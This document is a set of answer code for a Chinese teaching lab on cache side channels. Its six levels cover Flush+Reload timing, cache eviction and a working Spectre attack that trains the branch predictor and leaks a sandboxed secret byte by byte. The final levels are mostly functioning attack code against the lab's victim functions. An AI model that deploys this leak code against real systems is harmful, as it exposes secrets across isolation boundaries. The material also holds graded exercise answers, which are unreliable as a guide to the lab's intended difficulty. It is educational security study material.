第1关：Cache vs Memory

// 补全下方代码，完成array[0*4096]至array[9*4096]数据的缓存驱逐

/**************************************************/

for(i=0; i<10; i++)

_mm_clflush(&array[i*4096]);

/**************************************************/

第2关：基于Flush+Reload的侧信道实现

/* 请去掉下面一行的注释，并将括号中的'THRESHOLD'替换为具体门限值，该门限值可以根据上一关中测得的缓存命中时延设定*/

#define CACHE_HIT_THRESHOLD (80)

// 驱逐缓存Cache，请在下方补充代码，将array[0*4096+DELTA]至array[255*4096+DELTA]等数据从缓存中强制驱逐

/**************************************/

for (i = 0; i < 256; i++)

_mm_clflush(&array[i*4096+DELTA]);

/**************************************/

//请补全并下方代码，获得i*4096 + DELTA位置元素的访问时延，并将小于门限的访问行为判定为缓存命中，按照指定格式输出结果。

for(i = 0; i < 256; i++){

addr = &array[i*4096 + DELTA];

   time1 = __rdtscp(&junk);

   junk = *addr;

   time2 = __rdtscp(&junk) - time1;

if (time2 <= CACHE_HIT_THRESHOLD){

printf("访问array[%d4096 + %d]元素时发生缓存命中，时延%d.\n", i, DELTA, (int)time2);

printf("秘密值Secret = %d（字符：'%c'）。\n", i, i);

fprintf(fp,"秘密值Secret = %d（字符：'%c'）。\n" ,i, i);

}

}

第3关：Spectre预测执行

/* 请去掉下面一行的注释，并将括号中的'THRESHOLD'替换为具体门限值，该门限值可以根据第一关中测得的缓存命中时延设定*/

#define CACHE_HIT_THRESHOLD (80)

// 请补全下方代码并取消注释，①将victim()函数中分支判断需要的数据'size'从缓存中驱逐，以在后续调用中触发预测执行；②将array数组中i*4096+DELTA处的数据从缓存中驱逐，以便后续reload阶段判断目标数据是否被加载。

// /*******************************************

_mm_clflush(&size);

for (i = 0; i < 256; i++)

_mm_clflush(&array[i*4096+DELTA]);

// ********************************************/

第4关：Spectre攻击简单实验

/* 请去掉下面一行的注释，并将括号中的'THRESHOLD'替换为具体门限值，该门限值可以根据第一关中测得的缓存命中时延设定*/

#define CACHE_HIT_THRESHOLD (80)

// 补全下方代码，将上界、下界以及array的数据从缓存中驱逐。

/***********************************************************/

//驱逐上界数据

_mm_clflush(&bound_upper);

//驱逐下界数据

_mm_clflush(&bound_lower);

//驱逐array中的数据

for(i=0;i<256;i++){

_mm_clflush(&array[i*4096+DELTA]);

}

/***********************************************************/

这一关可能会出现测评失败的现象，只需要多提交几次自测运行后再提交就可以了

第5关：Spectre攻击实验改进

/* 请去掉下面一行的注释，并将括号中的'THRESHOLD'替换为具体门限值，该门限值可以根据第一关中测得的缓存命中时延设定*/

#define CACHE_HIT_THRESHOLD (80)

//补全下方代码，当每次字符i被命中一次，对应的积分+1

/*************************************/

for (i = 0; i < 256; i++) {

addr = &array[i * 4096 + DELTA];

time1 = __rdtscp(&junk);

junk = *addr;

time2 = __rdtscp(&junk) - time1;

if (time2 <= CACHE_HIT_THRESHOLD){

scores[i]++;

}

}

/*************************************/

// 补全下方代码，从scores数组中找到最大值，并将其索引值赋值给max

/*************************************/

for(i=0;i<256;i++){

if(scores[i]>scores[max]){

max=i;

}

}

/*************************************/

第6关：Spectre攻击窃取敏感信息实战

/* 请去掉下面一行的注释，并将括号中的'THRESHOLD'替换为具体门限值，该门限值可以根据第一关中测得的缓存命中时延设定*/

#define CACHE_HIT_THRESHOLD (80)

//补全下方代码，初始化array数组，并将所有相关数据从缓存中驱逐

/*************************************/

int i;

// 初始化数组，避免Copy-on-Write等优化机制对实验结果产生影响

for (i = 0; i < 256; i++){

array[i*4096 + DELTA] = 1;

}

// 驱逐缓存

for (i = 0; i < 256; i++){

_mm_clflush(&array[i*4096 +DELTA]);

}

/*************************************/

//补全下方代码，完成高速缓存侧信道的Reload步骤，根据缓存命中情况，更新score数组

/*************************************/

int i;

  volatile uint8_t *addr;

  register uint64_t time1, time2;

  int junk = 0;

for (i = 0; i < 256; i++) {

    addr = &array[i * 4096 + DELTA];

    time1 = __rdtscp(&junk);

    junk = *addr;

    time2 = __rdtscp(&junk) - time1;

    if (time2 <= CACHE_HIT_THRESHOLD){

      scores[i]++;

    }

  }

/*************************************/

//补全下方代码，针对指定的内存位置，开展Spectre攻击，包括缓存清空、CPU训练、缓存驱逐、预测执行和缓存加载等环节

/*************************************/

int i;

  uint8_t s;

  volatile int z;

for (i = 0; i < 256; i++)  {

     _mm_clflush(&array[i*4096 + DELTA]);

    }

// 训练CPU，使其在攻击时进入期望的预测分支.

for (i = 0; i < 10; i++) {

    get_info_sand_box(i);

  }

// 将上界、下界以及array的数据从缓存中驱逐。

_mm_clflush(&bound_upper);

  _mm_clflush(&bound_lower);

  for (i = 0; i < 256; i++)  {

         _mm_clflush(&array[i*4096 + DELTA]);

         }

for (z = 0; z < 100; z++)  {  }

// 调用沙箱访问函数，利用预测执行漏洞访问合法内存边界之外的秘密值

s = get_info_sand_box(index_beyond);

  if(s!=0){

    array[s*4096 + DELTA] += 88;

}

/*************************************/

//补全下方代码，针对敏感信息secret的每个字节，逐个进行提取，每个字节的提取操作执行1000次，并按照指定格式输出提取结果及其积分值（可以包括最优值与次优值，即score最大的值和第二大的值的索引）。

//打印示例：printf("第%d个秘密字符的最优值 \'%c\' (ASCII: %d) 积分：[%d] ", k, (max > 31 && max < 127 ? max : '?'), max, scores[max]);

/*************************************/

int i;

  uint8_t s;

  fp=fopen("/home/result.txt","w");

  size_t index_beyond = get_addr_offset();

  flushSideChannel();

int len = get_secret_len();

  int k = 0;

  while(--len>=0){

    for(i=0;i<256; i++) {

      scores[i]=0;

    }

  for (i = 0; i < 1000; i++) {

    spectreAttack(index_beyond+k);

    usleep(10);

    reloadSideChannelImproved();

  }

int max = 0;

  int runner_up = 0;

  for (i = 0; i < 256; i++){

    // printf("%d ", scores[i]);

    if(scores[max] < scores[i]) {

        max = i;

    }

  }

  for (i = 0; i < 256; i++){

    if(scores[runner_up] < scores[i] && i!=max) {

        runner_up = i;

    }

  }

printf("第%d个秘密字符的最优值 '%c' (ASCII: %d) 积分：[%d] ", k, (max > 31 && max < 127 ? max : '?'), max, scores[max]);

    printf("次优值 '%c' (ASCII: %d) 积分：[%d]\n", (runner_up > 31 && runner_up < 127 ? runner_up : '?'),

runner_up, scores[runner_up] );

fprintf(fp,"%c",(max > 31 && max < 127 ? max : '?'));

k++;

}

/*************************************/

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